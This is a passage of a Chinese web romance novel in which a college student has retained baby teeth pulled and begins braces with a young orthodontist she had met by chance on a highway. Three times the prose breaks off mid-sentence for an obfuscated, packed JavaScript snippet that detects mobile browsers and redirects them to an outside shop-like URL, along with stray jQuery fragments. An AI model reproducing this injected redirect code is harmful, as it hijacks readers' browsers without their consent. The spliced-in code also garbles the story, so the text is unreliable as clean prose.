“好了,等着叫号就行了。”刘文文走过来挨着她坐下。 “嗯。”陈心接过就诊卡在手里摩挲。 她还是有点紧张的。 十分钟后,护士台上方的显示屏出现了陈心的名字,她深吸了一口气进去了。 “牙齿怎么不舒服,同学?”女医生声音很温和,眼神温柔地注视着她。 “医生,我昨天吃鸡爪硌到这颗牙了,现在不敢用这边吃东西。”陈心半张着嘴指了指大概的位置。 “好,你躺下,我看看。” 女医生的助手已经备好了一次性.器械盒,等陈心躺好后,取出里面的浅蓝色围兜给她系上。 “来,张嘴。”女医生调整了一下姿势,把无影灯拉近了些。 “是这颗吧?” “对——”陈心勉强发出声音。 “这是颗乳牙啊,活动了也很正常,去拍个片子看看吧。”女医生从她脸前撤开,转身回到电脑旁。 “乳牙?” “对,去拍个片子看看下面恒牙胚的发育情况,我们再商量治疗方案。” “好,谢谢医生。” “没事,放射科在负一层。” 陈心从治疗椅上坐起来,拿着就诊卡出了诊室,刘文文一看到她,立马迎过去问:“怎么样?哎,你这围兜怎么还系着?” “还没看完,医生让我去拍个片子。” “好,那走吧。” 放射科内,医生把一个四方形的小牙片放在陈心的嘴巴里,刚固定好位置,陈心就猛地干呕起来,尝试了三四次均以失败告终。 “同学,要不你去让医生给你开个全景牙片,那个好受点。” “好,不好意思啊,医生。” 陈心灰溜溜地走出放射科,返回牙周科和医生解释了一番,请她重新开了单子,又抓紧跑回来拍片子。 如此这般,看起来简单的跑上跑下,等她再次返回三楼诊室,已经深刻感受到看病是一件多么劳心费力的事。 诊室内,女医生只打眼看了一眼片子,就给了相当肯定的判断:“同学,你这确实是颗乳牙,不仅是左侧松动的这颗,右侧相同位置也有一颗,但牙根比这颗看起来长一点,所以暂时比较稳固。” “暂时?”陈心感到一阵眩晕,“医生,那我怎么办啊?” “从片子上看,乳牙下面并没有恒牙,这也是你一直没有换牙的原因,所以——” “所以什么?”陈心声音越来越低。 “需要种牙,你年纪那么小,嘴里留着个牙窟窿也不美观,不过也不是没有别的办法,你再躺下我看看。” 陈心非常听话地躺在诊疗椅上,大脑一片空白。 “我看你上牙列拥挤,或许可以考虑正畸,你要不再去挂个正畸科问问?” “正畸?”陈心脸上写满了疑惑,“医生,我这个年龄了还能箍牙吗?” “嗯,这个需要正畸医生的综合判断,年龄本身不是问题,牙周的健康状态才是决定因素之一。” “好的,谢谢医生,我回去考虑考虑。” “没事,这几天先吃点软乎东西,注意口腔卫生。” “嗯嗯,医生再见。” 陈心走出诊室,把医生的话大致向刘文文转达了一遍:“总而言之呢,是因为我这颗牙本身就是一颗乳牙,即便没吃这顿烧烤,说不定啃个凉烧饼也会松动,所以你真的不用放在心上了。” “好,我明白了。”刘文文点点头,“那现在你打算怎么办?” “我想想再说。” 说着,两个人已经走到二楼的拐角,正冲着的就是正畸科的方向,陈心犹豫着看了两眼,还是拉着刘文文的胳膊走了。 看来是逃不过了,陈心本来没觉得是多大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984595|193628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的事,没想到还到了要箍牙的地步。 既然如此,她想着先问问小姨的意见,听听专业人士怎么说。 这天下午,梁医生的挂号栏里终于出现了一位患者。 “你好,请问哪位是梁医生?” “我就是。”梁决闻声抬头,眼前是一对打扮时髦的年轻男女,“您二位是谁需要——” 没等梁决问完,烫着羊毛卷的女人开口:“你是医生啊?看着这么年轻……怪不得分诊台的小护士说这个号不用等,其他医生都排着好几个病人,我们才挂的……” “对,我确实刚上班。”梁决面色如常,自然不会因为几句话就区别对待,“介意的话,我可以从系统里给你们退号。” “算了算了,就让这个医生看吧。”一直没吱声的男人推搡了一下女人的胳膊,劝说道,“他看不了的话,咱再挂别的号,别耽误时间了。” 梁决没有插话,等眼前的两个人商量一致,才不疾不徐地开口:“好,那请出示就诊卡。” “给。”女人从价格不菲的链条包里拿出就诊卡,然后扭头和男人说,“巧巧呢,是不是躲到外面去了,把她叫进来。” “梁医生,我们是给女儿看牙的,她前面两颗门牙太歪了。”女人的话音刚落,一个八九岁的小女孩被男人领了过来。 “巧巧,张嘴,让医生看看。”女人用手拖着小女孩的脑袋,“医生,你看看,这多难看啊,能给整整吗?” 梁决看了女人一眼,拿起工作台上的口镜,语气温柔地对小女孩说:“没事,不用怕。” “可是……”小女孩的声音里带着哭腔,脑袋下意识地往后缩了缩,又被女人按了回来。 “小朋友,你知道这叫什么吗?”梁决用探针轻轻敲了下小女孩的两颗门牙,“它有个好听的名字,叫蝴蝶牙。” “蝴蝶牙?” “对,两颗门牙的形态就像蝴蝶的一对翅膀。”梁决拿过桌上的镜子,“你看,是不是很像?” “嘿嘿,是有点像呢!”小女孩的脸上露出一闪而过的笑容,但很快又把嘴抿了起来。 “蝴蝶牙多可爱呀,你觉得呢?”梁决试探着问,“如果你觉得不好看,那我们就等长大一点再来整牙,好不好?” “长大一点?” “对,现在先不想这个,每天都开开心心的,就像飞舞的蝴蝶一样。”梁决摘了手套,从桌上拿了本爱牙手册递给她。 “哎哎——不是,梁医生,这个样子不需要整吗?”女人没明白是怎么回事,只记住一个什么蝴蝶牙、蝴蝶翅膀的。 “女士,孩子年龄还不到,等换完牙之后,十二三岁的时候再来看就行,您和爱人的心情我可以理解,但平时还是要注意别给孩子太大压力。” “啊?还要等啊,那她这牙不会歪得更厉害吗?” “梁医生,我们刚才真没别的意思,就是单纯看您年轻,您别故意不给我们看啊?” 天地良心,梁决做梦都想赶紧开张,怎么可能会婉拒呢…… 他不知道怎么解释,只好拿笔在病历本上留了一串电话,然后递了过去:“上面是我的诊位座机,不放心的话,可以随时带孩子来面诊,但现在确实不符合正畸条件。” “那……行吧,谢谢你啊,梁医生。” 好不容易送走这一家人,梁决站起来活动了下颈椎,然后走到窗边透气。 一筹莫展之际,白大褂里的手机震了两下,他一看是许秋师姐发来的两条消息。 “小梁,明天你坐诊吗?” “我外甥女有两颗乳牙滞留,一颗已经松动了,牙周科建议你们正畸科看看,我让她挂你的号呗。” *梁决内心os:来活了!来活了! 陈心内心os:打响牙牙保卫战! 5. 第 5 章 次日,无课的上午,陈心再次出现在T大口腔医院。 刘文文本来说陪她一起,但陈心非常诚恳地谢绝了,一方面看病这种事不好总麻烦舍友,另一方面刘文文报名了院篮球赛需要训练。 陈心听小姨的话,挂了梁决的号,本来想从医院官网提前看看这位医生长什么样,但这位梁医生不仅简介只有寥寥几句,连头像都是空白的。 如果不是许秋点名推荐,陈心肯定会对这种高冷人士敬而远之。 二楼正畸科,分诊台的护士告诉她直接去左手边第三个诊室,梁医生现在没有病人。 陈心微笑谢过,边整理着手里的病历边往诊室走,来到门口后,她在心里祈祷一定让自己遇见个好说话的医生,然后十分礼貌地敲了敲门。 “笃笃笃。” “请进。” “梁医生好,我……”陈心神情一怔,停住不动。 这人的背影真的好熟悉,还有越过肩头可以看见的那双骨节分明的手,甚至是刚才的那声“请进”。 谁? 这人是谁? 怎么从哪见过? “请进。”梁决重复了一遍,滑动座椅转身。 抬头时,他正对上陈心的视线,神情也是一怔。 丸子头? 那个高速爆胎的丸子头。 微妙的表情在他脸上一闪而过,加上口罩的遮掩,几乎看不出什么迟疑。 “陈心是吗?”梁决把目光移开,注视着桌上的电脑屏幕,假装从医院挂号系统里核对姓名。 “对,你好,梁医生。”陈心走过去递上病历,短暂靠近的几秒,她仔细观察着眼前的人。 是他吗? 那个高速路上的修车帅哥。 “看出什么问题了?”梁决语气平淡,像是在进行普通病情询问。 “看你眼熟。”陈心尴尬地笑了一下。 呵,她还知道眼熟? 梁决对于自己被甩在高速下桥口的事,一直耿耿于怀,怀恨在心,心有千千结。 然而,不是不报,时候未到。 竟然又见面了? “咱们是不是从哪见过?”陈心见他没有回话,又斗胆问了一句。 “是,前几天,我在高速上遇到一个驾驶技术糟糕的家伙,长得和你很像。”梁决感觉扳回一局。 “真的是你啊!”陈心没觉得被嘲笑,反而还有点开心,“没想到能在这碰见,原来你是医生啊!” “怎么?你不会真觉得我是修车的吧?” “没有没有!”陈心立正站好,态度诚恳。 梁决看了她一眼,然后扭头去拿一次性.器械盒,口罩下是一张忍俊不禁的脸。 “把包放到旁边的筐里,然后躺好。” “嗯,好的。” 梁决一本正经地发号施令,陈心猜不准他是什么态度,只能乖乖听话照办。 “是左侧这颗吧?”梁决用镊子测试牙齿的松动度,像是自言自语,“接近二度松动了。” “嗯,疼——”陈心皱了下眉,舌头不小心舔到了什么,有浅浅的橡胶味儿。 “别乱动。”梁决用手托着她的下巴,眉宇间一丝不苟,给人一种很强的压迫感。 无影灯下,陈心觉得自己就是案板上的鱼,待宰的羔羊,心率直线飙升,连大气都不敢喘。 当人处于戒备状态的时候,感官总是异常灵敏。 陈心能闻到来自梁决白大褂袖口的消毒水味,能听到梁决隔着一层口罩的呼吸声,如果她大胆去对视,甚至能数一数梁决浓密的睫毛。 诊室嘈杂,可她仿佛陷入一片沉静的海里。 无风无浪,却让人心旌摇荡。 “做矫正的话,还需要去拍一个CBCT,看看骨头的情况,再就是照相、取模、抽血之类的。”梁决顿了一下,“你能自己拿主意吗?” “今天吗?”陈心茫然中回神,像是下定某种决心后回答,“可以,梁医生。” “你确定?” “我成年了。” “好吧。”梁决滑动座椅后撤,还给她自由活动的空间。 按照梁医生的指示,陈心一项项地完成了正畸前的准备工作,等再回到诊室的时候,发现梁决不在。 “陈心,这边——”梁决从旁边的一个小屋里喊她,门前的标牌上写着取模室。 “坐在那边的椅子上。”梁决面前的工作台上摆着一桶黄色粉末,旁边还有两个碗托样的东西,“需要取个模型,出矫正方案。” “哦好。”陈心也不多问,就坐在椅子上等。 不一会,梁决拿着一个不锈钢牙托走到她面前,俯身和她视线相齐。 “来,张嘴,试一下大小。” “哦好。” 梁决一只手托着她的后脑勺,一只手小心翼翼地把牙托放到她嘴里,解释说:“可能有点凉。” 这样近的距离,陈心无从躲避。 还没等她反应过来,梁决已经把牙托取了出来,转身去工作台调拌取模材料了。 把藻酸盐粉和水按比例混合后,他左手捧着橡皮碗,右手握着调拌刀连续搅动,手法迅速而有力,就像是教学视频的现场版。 陈心看着他的背影,不由得在心里感慨,梁医生换轮胎的时候也是这么专注。 很快,梁决转身,手上拿着抹好取模材料的托盘。 “来,张嘴。”他用一只手轻轻拉住陈心的嘴角,提示她,“会有点不舒服,稍微坚持一下。” 尽管陈心已经做好了思想准备,但口腔被包裹住的厚重感,以及直冲鼻腔的薄荷味,还是让她觉得有些难以承受。 陈心眉头紧蹙,两只手僵硬地抓着椅子扶手。 “放松,放松。”梁决一边观察着她的反应,一边用手给她擦拭嘴边多余的藻酸盐材料。 “还、要、多、久……”陈心艰难地用喉咙发出动静。 “再坚持两分钟,好不好?”梁决竟然听懂了。 陈心冲他眨了下眼睛,表示好的。 终于,上牙取完后,同样的步骤,下牙也要来一遍。 不知道是一回生二回熟的缘故,还是什么原因,陈心觉得取下牙模型的时候明显要好受多了,这表现在等材料凝固的几分钟里,她竟然能分出心思去观察梁决的胸牌。 胸牌夹在梁决白大褂的左侧,心脏靠下一点的位置,上面写着姓名、职务、岗位,还有一张小小的一寸照片。 照片上的梁决,眼神坚定,五官俊朗,陈心盯着看了一会,又稍稍仰头去看眼前的真人,她得出一个结论—— 本人比照片好看。 “好了,去漱漱口。”梁决从她嘴里取出托盘,仔细检查了印模是否清晰,然后递给她一个一次性水杯。 “谢谢。”陈心接过水杯去水池漱口,梁决没一会也拿着搅拌碗过来清洗,她往一侧让了让,正好可以站下两个人。 “梁医生,我什么时候可以戴牙套啊?”陈心偏头问他。 “下午有时间吗,可以来听方案。”梁决把清洗干净的搅拌碗放在一边,抽了张纸擦手,转头看向陈心的时候,发现她下巴上还有没擦干净的藻酸盐材料,于是伸手指了一下,“这里,再擦擦。” 说完,梁决转身出了取模室,留给陈心整理的时间,他倚在走廊的墙面上,双手插在白大褂的口袋里,有点后悔刚才提议下午来看方案。 就T大口腔医院来说,从初诊建档到听方案会间隔一周的时间,这段时间医生会根据牙模和影像数据制定矫正方案,制作一份用于给患者讲解的PPT。 当然,这个时间也会根据医生接诊的患者数量而有所调节,像是赶上寒暑假正畸高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984596|193628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 峰期,周期还会延长一倍。 梁决现在手头没有病人,没道理让陈心等上一周,但下午出方案还是有点太赶了。 算了,还能怎么办? 君子一言,驷马难追,自己挖的坑,只能自己填。 陈心从取模室出来,见梁决站在走廊愣神,便下意识仰着脸问他:“你看干净了吗?”话说出口,她又觉得有些失礼,赶紧换了个说法:“嗯……或者有没有个镜子?” “诊室有。”梁决直起身,视线在她脸上多停留了两秒,“不过看起来已经没东西了,不照也可以。” “哦,这样。”陈心不自然地捋了下头发,想起来梁决刚才问她的话,“对了,梁医生,我下午有时间。” “那下午两点?” “好,下午见。” 陈心又回了趟诊室拿了自己的包和病历,然后和梁决匆匆地说了再见,直到完全走出医院,她才觉得自己如获新生,整个人像从大海里刚捞出来一样,极度缺氧。 再多待一秒,她就要溺水了。 “呼——” 活着真好。 陈心回宿舍的时候,只有乔艺和林梦在,她俩盘踞在各自的一亩三分地上,一边追剧一边吃饭,陈心见状轻轻关了门。 “哎,陈心回来了,医生怎么说?”乔艺听见动静,扭过脸来问她。 “下午再去一趟,大概率是要箍牙了。” “那你这……不过也没事,反正就是遭点罪,不比种牙好多了。”林梦拎着吃剩的塑料饭盒袋要出门,也送上一句安慰。 “就是就是,你这是一举两得。”乔艺跟着附和,“对了,从食堂给你带了份木薯糖水,放桌上了,冰镇的。” “哇谢谢,你们最好啦!”陈心正好想吃点甜的。 梁决的中午,可以说是兵荒马乱。 分析牙模,做头影测量,结合面诊情况拟定矫正方案,最后把内容套入PPT模版。 一气呵成。 就是没时间吃午饭,不过他也没觉得饿,或许是马上要迎来自己的第一个病例,心里还是有点激动和兴奋的。 下午两点,陈心准时出现,这次她没敲门,直接朝梁决的工位走去。 “梁医生,我来了。” “坐。”梁决指了指旁边的凳子,然后打开电脑桌面上的演示文稿,把电脑屏幕朝陈心那边挪了挪,“给你讲一下方案。” “从片子上看,你的牙周状态和骨密度都还不错,基本符合正畸的条件。” “这几个数据是体现唇齿关系和牙齿凸度的,上牙列拥挤,下牙列尚可。另外,从正面照看有些大小脸,通常是偏侧咀嚼导致的,这一点不能通过正畸改善。” “所以,矫正计划是拔掉上面的两颗乳牙,整平牙列,关闭缝隙,必要时需要打两颗骨钉辅助收缝,你的智齿位置尚可,可以先观察。” “你还有什么问题?”梁决说完,视线看向陈心。 “好像……没什么问题?” “确定?”梁决看她没什么异议,从抽屉里拿了张单子递给她,“那接下来,就是关于矫治器的选择,这里有个介绍,你可以拿走看,不着急。” 陈心感觉自己被安排得明明白白。 “梁医生,我是不是要尽快拔牙?” “如果决定矫治的话,建议尽早去约个号拔牙,拔牙后还要等牙槽窝恢复,一周后才能戴牙套。” 陈心点头,紧接着问了句:“那你明天还上班吗?” 梁决眼里闪过一丝诧异,心想难道自己没说清楚吗,不过出于医生的职业素养,他还是耐心地回答:“我上班,但是拔牙需要挂颌面外科,在四楼。” “我知道,我就随便问问。” *梁决内心os:落我手里了哈(傲娇 陈心内心os:这就去给王哥烧烤打好评! 6. 第 6 章 从医院出来后,陈心看了一眼时间,还不到三点,想了想决定去小姨家一趟。 其实也没什么大事,就是她想当面表示一下感谢,一是车位的事,二是这次看牙,幸亏有亲人在身边帮衬。 二十分钟后,陈心走到教师之家的单元楼下,手上拎着一兜赣南脐橙,她本来想买猕猴桃的,可进到水果店之后,不自觉地就挑起了橙子。 可能是因为某人说过,橙子补充维生素C。 不过她记得科普文章上好像说,猕猴桃才是“维C之王”。 算了,这不重要。 上楼前,陈心环视了一圈,发现上次看到的那辆牧马人已经不见了踪影。 可能上次看错了吧,她没多停留,转身上了楼。 三楼,陈心按了门铃,等了一会,许秋开了门。 “没打扰你吧,小姨。”陈心探了个脑袋。 “在书房备课呢,没听见门铃,你来正好歇歇,看得我眼睛疼。”许秋找出来陈心的专属拖鞋,又从她手里接过一兜水果,“还知道买水果呢?” “嘿嘿,这不是感谢小姨帮我找的梁医生嘛!今天他给我讲了方案,等我回去约个号,明天就能去拔牙了。”陈心嘴甜,如实汇报了初诊的情况,但隐瞒了她和梁决之前就见过的这件事。 “哟,小梁这效率可以啊!”许秋显然没想到事情这么顺利,“话说回来,小梁可是我们导儿的得意门生,每次师门聚餐都把穆老师哄得眉开眼笑,当然他业务能力确实不错,所以我们一致认为他留在T大口腔医院前途无量。” “哈哈是嘛,还挺难想象这样的画面。”陈心眼里的梁决有点高冷,做事极其认真,没想到他私下里还是那种活泼开朗的性格。 “哎,刚才你说明天去拔牙,你一个人行吗?要不叫上个舍友陪你一起?”许秋从袋子里挑了个橙子出来,剥皮后一分为二,其中一半递给陈心,“快尝尝你挑的怎么样?” “我不打算麻烦舍友了,再说了医院不也有护士嘛,能有什么事啊……”陈心把橙子放到嘴里嚼了两下,“这橙子还挺甜呢,水果店的老板诚不欺我。” “你这孩子,真要忙起来护士哪顾得上你啊,要不是我明天上午排了课我就陪你去了。”许秋作为小姨,有时候唠叨起来就像陈心的半个妈,“你等着,我问问小梁。” “哎……”陈心拦也不是,不拦也不是。 只能听天由命,听候发落。 五分钟后,许秋放下手机,一副安排妥当的表情。 “小梁刚上班,也没什么病人,他答应有空就陪着你。” “那……谢谢小姨,又要麻烦梁医生了。” 陈心的心情很复杂,一方面又能见到梁决了,可另一方面却是让他看见自己“口吐鲜血”的惨状。 为什么每次见梁决他都是一副冷静自持的模样,而自己却总是一如既往的窘迫。 要命。 第二天,早上八点五十,陈心徘徊在二楼正畸科门口。 她约了九点拔牙的号,想着提前过来和梁决说一声,至于说什么呢,她也没想好,总不能是耳提面命地来一句:梁医生,你师姐我小姨安排你陪我去拔牙。 但如果她连个招呼都不打,自顾自地去拔牙,也显得很没礼貌吧? 经过一番激烈的思想斗争,陈心走到梁决所在的诊室门口,路过的一个小护士看她面露难色,于是好心问道:“需要帮助吗,你挂的哪位医生的号?” “哦,我没挂号,不是,我是想问梁医生在吗?” “梁医生吗?他刚才出去了,你找他有急事吗?” “哦没有没有!谢谢。”陈心没想到会是这个答案,尴尬地连连摆手,然后迅速掉头走没了影。 走廊尽头的卫生间,她躲进一个没人的隔间,大脑不受控制地一遍遍重复着刚才那个护士的话:梁医生刚才出去了。 可他不是答应了要陪我拔牙的吗?怎么能一声不吭地就走了呢? 陈心的情绪一落千丈,要多委屈有多委屈,要多难过有多难过,突然,一阵强烈的绞痛从胃里传来,她不得已蜷缩着蹲下,手心里冒着冷汗。 在这样的情境下,她已经很难去分辨,这份怅然若失的情绪并不仅仅是因为被放了鸽子。 就在这时,陈心口袋里的手机响了,她缓了一会,一边用掌心揉着胃部,一边尝试着站了起来。 解锁屏幕后,上面显示是一条来自医院线上挂号小程序的温馨提示,提醒她今天的预约尚未完成,超时将会取消挂号。 “算了,牙还是要拔的,本来就没打算麻烦别人的……”陈心收了手机,走出隔间去洗手池重新整理了一下头发,这才从镜子里看见自己的一张脸有多么沮丧,她深呼吸,然后原地蹦了两下,试图恢复状态。 四楼颌面外科,陈心充满歉意地向分诊台的护士解释自己来晚了,不知道上午还能看上吗。 护士阿姨看她一脸学生样儿,自然不会故意为难,说往后顺延一个号就是她,只需要从候诊区等一小会就行。 陈心再次表示了歉意,然后从候诊区找了个位子坐下,脑袋垂得很低,用手捻着病历某一页边角。 “怎么才来?不是九点的号吗?” 什么? 陈心猛然抬头,难懂是幻觉吗? 眼前是一道颀长的身影,双手自然垂落,白大褂上带着熟悉的消毒水味,脸上一副向她讨要答案的探究表情。 “梁、梁医生,我以为你没来……” “所以,你刚才是去正畸科找我了?没见到人,又错过了这边的预约时间?” 陈心没说话,迟钝地点了两下头,算是默认了梁决的判断。 “你……唉,算了。”梁决看她情绪低落,没再继续问下去,而是在她旁边的位置坐了下来。 周围很安静,陈心用余光感受着身边人的姿态,逐渐回笼的理智让她意识到正畸科护士说的那句梁医生出去了,代表着梁决提前来这里等她了。 他没忘记,原来如此。 “小姑娘,到你了,左手边第一个诊室,4号椅位,赵医生。”护士阿姨从分诊台站起来喊她。 “走吧。”梁决看她还在愣神,伸手在她眼前晃了晃。 诊室里,赵医生还在和上一位患者交代拔牙后的注意事项,梁决让陈心先躺到椅位上,他用两个人能听到的音量说了句:“等会不用怕,只是打麻药会有点痛,赵医生拔牙技术很好的。” 陈心还是只点头,然后躺在了椅位上,她甚至忘记要把病历递过去,连要拔哪颗牙都是梁决代她向赵医生转述的。 原则上,治疗开始后,陪诊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984597|193628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人应该在外面等候,梁决自然也不能例外。 等待麻药生效的时间里,赵医生好奇地问陈心:“你是梁医生的妹妹吗?” “唔?”陈心沉浸在脸颊麻木的诡异感受中,一时间没反应过来为什么会这么问。 似乎赵医生也不期待她能回话,就自己接着往下说了:“梁医生挺早就来我这等着了,我问他等谁,他说有个刚接诊的患者,怕人家改主意不从他这正畸了,所以来盯着,我心想他准没说实话。” “哦。”陈心没否认,也没法否认。 或许在梁决的眼里,她就只是他的一个普通患者吧,甚至连她小姨是他师姐这层关系都介意去提,更何况在高速上的糟糕偶遇呢。 赵医生从工作台上拿了拔牙钳,陈心干脆闭上了眼睛。 十分钟后,陈心咬着棉球从诊室走了出来,手上拿着一张拔牙后注意事项。 她还是严重高估了自己的承受力,并且低估了两颗乳牙的顽强生命力。 从牙椅上坐起来的一瞬间,天旋地转,嘴里充斥着一股血腥味,她刚要冲着漱口池吐一下,赵医生立马严肃叮嘱她千万不能吐出来,否则不利于拔牙窝愈合。 “怎么样?坐下缓缓。”梁决见她几步路走得晃悠,便上前扶住了她的手臂。 陈心穿的是短袖,梁决手掌的温度霎时传递过来,她感觉更晕了。 “我没事,梁医生,稍微坐一会就好了。”陈心一句话说得七零八落,仍是挣开了梁决的手,“身残志坚”地自己挪到椅子边上。 梁决看她一副逞强的样子,也不好再干预什么,只是安静地陪她坐着。 过了一会,陈心觉得大概可以站起来走动了,便扭头和梁决说:“梁医生,咱们回去吧,我没事了。” “确定?” “嗯。”陈心好像发现了梁决的口癖。 两个人走到楼梯口的时候,陈心刚要抬手说再见,梁决先她一步开口:“跟我来诊室一趟。” “?” 这是看我拔牙勇敢,所以给我准备了一个小礼物?还是什么其他的好东西? 二楼正畸科,梁决所在的诊室内。 “你扫一下桌上的这个立牌,上面是我的医生账号,我把你拉进患者群,方便之后的复诊沟通。” 陈心愣了一秒,从刚才各种不着调的猜测里清醒过来,认清现实,自觉接受病患管理。 “嘀”一声扫码后,弹出来一张头像是牙齿的微信名片,昵称是Dentist梁。 陈心发送了好友申请,梁决迅速通过之后,果真把她拉进了一个名为“T大口腔梁医生正畸患者群”的群聊里。 然而,群成员只有三个人。 一个是Dentist梁,一个是陈心,一个是决。 不等陈心疑惑,梁决自然地解释道:“那个是我的私人号,这也是没办法,三个人才能建群。” “所以……”陈心觉得某个答案已经呼之欲出了。 “你是我的第一个正畸病例。” 梁决注视着她的眼睛回答。 *梁决内心os:惊不惊喜!意不意外! 陈心内心os:什么?小姨,你真是大义灭亲,胳膊肘往外拐,一心提携后辈,不顾我的死活。当然,看在医生是梁决的份上,我还是要谢谢你! 7. 第 7 章 要说拔牙对陈心最大的影响,就是体现在吃饭上,包括但不限于正餐、水果和零食。 这几天,她的食谱如下,早餐是一碗白米粥和鸡蛋羹,午餐是广式肠粉或者是让食堂阿姨煮久一点的面条,晚饭是老式鸡蛋糕泡牛奶,饿了就在嘴里含几粒旺仔小馒头。 当人被限制饮食的时候,偏偏食欲旺盛。 陈心就处在这么一个望梅止渴,画饼充饥的阶段,撇开嘴馋不说,少了两颗牙确实耽误营养摄入,所以她从网上下单了代餐粉和营养粉。 周六下午,陈心从驿站取了快递,回到宿舍就迅速拆了包装,按照盒上的食用说明,先往水杯里舀了三勺魔芋紫薯代餐粉,然后用温水均匀搅拌,杯子里逐渐呈现出浅紫色的粥状。 看起来颜值尚可,不知道味道如何。 陈心拍了一张上传朋友圈,配文是:可怜小陈,拔牙瘦身打卡。 发完朋友圈,她把手机放在一边,专心品鉴眼前的这杯糊糊,怎么说呢,口感绵密,唇齿留香,预测饱腹感很强,但如果不到迫不得已,她绝对不想再吃第二回。 但买都买了,陈心两眼一闭,仰脖儿一口闷了,然后她拿起手机,准备在自己的朋友圈下面发一条避雷评论,劝大家慎重选择,好好吃饭。 刚点进微信,她就看到朋友圈亮着有新消息的小红点,点进去一看,竟然是梁决在她新发布的那条下面评论了:就吃这个吗? 陈心盯着这几个字,在心里反问他,不然呢? 一切美食都与我绝缘。 她正烦着呢,微信又弹出来两条消息,来自Dentist梁,说来陈心还没给他修改备注。 “可以买个婴儿辅食机,把食物搅碎,戴牙套之后会比现在更需要适应。” “个人建议,这家的还不错,链接给你附后面了,仅供参考。” 如果不是梁决这话说得滴水不漏,陈心的第一反应是他和这个商家有什么不可告人的秘密,这边拉人正畸,那边推销产品,配合得天衣无缝。 “好的,谢谢梁医生。”陈心先是礼貌回复,正巧也有个事要问他,“对了,梁医生,之前你给我的单子上写了正畸费用,是要一次性付清吗?还有这个有学生价吗?” “之前515世界正畸日的时候,免过初诊挂号费。” “……”陈心觉得他在抬杠。 “那要一次性付清吗,分期可以吗?” “稍等。” “?”这人不是搞抽象,就是不回,陈心气得牙根痒痒。 她又捧着手机等了一会,见还没有动静,于是愤而把梁决的微信备注名改成臭脸帅哥,然后抱着盆去水池洗衣服了。 即便在这样的情形下,她也无法给梁决那张客观好看的脸打差评,臭脸是事实,帅也是事实,陈心向来不说违心的话。 走廊尽头的水房里,陈心独享周末午后的做家务时光,夏天的衣服都比较轻薄,她一般都是直接手洗,洗衣液稀释后有淡淡的薰衣草香,搓起的泡泡在阳光下折射出彩虹色的光。 等她洗完衣服抱着盆回宿舍,三个舍友都在,乔艺和林梦刚逛街回来,正对着镜子向刘文文展示新买的衣服,刘文文训练结束,一边用湿巾擦着篮球,一边敷衍着回答挺好看的。 陈心去阳台上晾好衣服,然后站在宿舍中间插了句话:“家人们,我买了个代餐粉,你们想尝尝吗?” “……”鸦雀无声。 “行吧,就知道你们是这反应。”陈心倒也不意外,但还是故作扶额惋惜道,“那就只能我一个人享用美味了。” “哎对了,文文,你们篮球队是明天比赛吗?啥时间啊?”乔艺摆弄着她的新衣服,换了个话题。 “下午两点,你们有时间吗?” “有啊,必须有啊!”林梦积极响应,还不忘调侃了一句,“陈心,你呢?别我们喊加油的时候,你说话漏风啊?” “大姐,我又不是拔的门牙!”陈心显然习惯了羊家族的互相扎心,“你再说,我就赏你和我一起喝代餐粉。” “饶命饶命,我闭麦……” “哼!”陈心满意地坐回自己的椅子上,拿起手机一看,梁决回复她了—— T大口腔的惯例是分三次缴纳正畸费用,依次支付总费用的40%、30%和30%,复诊只需要交挂号费。 这么一算,陈心还是得向她妈许夏寻求支援,毕竟正畸的费用对她这个学生来说,也不是一笔小数目了。 “了解了,谢谢梁医生。”陈心退出和梁决的对话框,正想着怎么和许夏开口,眼神不经意瞟到梁医生的患者群有了动静。 Dentist梁邀请春暖花开进入群聊。 这是来新患者了吗? 陈心点进群聊,发现群成员还是三个人,再仔细一看,原来是梁决的小号退群了,她又点进春暖花开的微信名片,是一张向日葵的头像,也没有微信签名,看起来像是一位家长。 梁决刚才就是忙着看病人才不回她的吧,陈心单方面完成了逻辑闭环。 “不客气,周末一直在学校待着?”梁决随便问了一句。 “对啊,不过我们院明天有篮球赛,我室友参加,到时候我们都去加油助威。” “听起来不错,说话的时候注意不要拉扯到伤口,下周找个时间来戴牙套。” “好的,谨遵医嘱。”陈心还附加了一个OK的表情包。 晚上的时候,大概是许夏刷到闺女的朋友圈,所以一个电话打过来问起拔牙的事,陈心这才想起来忘了和母亲大人说自己要箍牙。 “许女士,你先别急,是这么回事——”陈心从宿舍出来,找了个没人的楼梯口一五一十地汇报,“那天我和室友去吃烧烤,然后……所以……”等陈心说完,电话那头的许夏显然松了口气:“这样啊!这个许秋也是,嘴严实,你俩都从这跟我瞒着。” 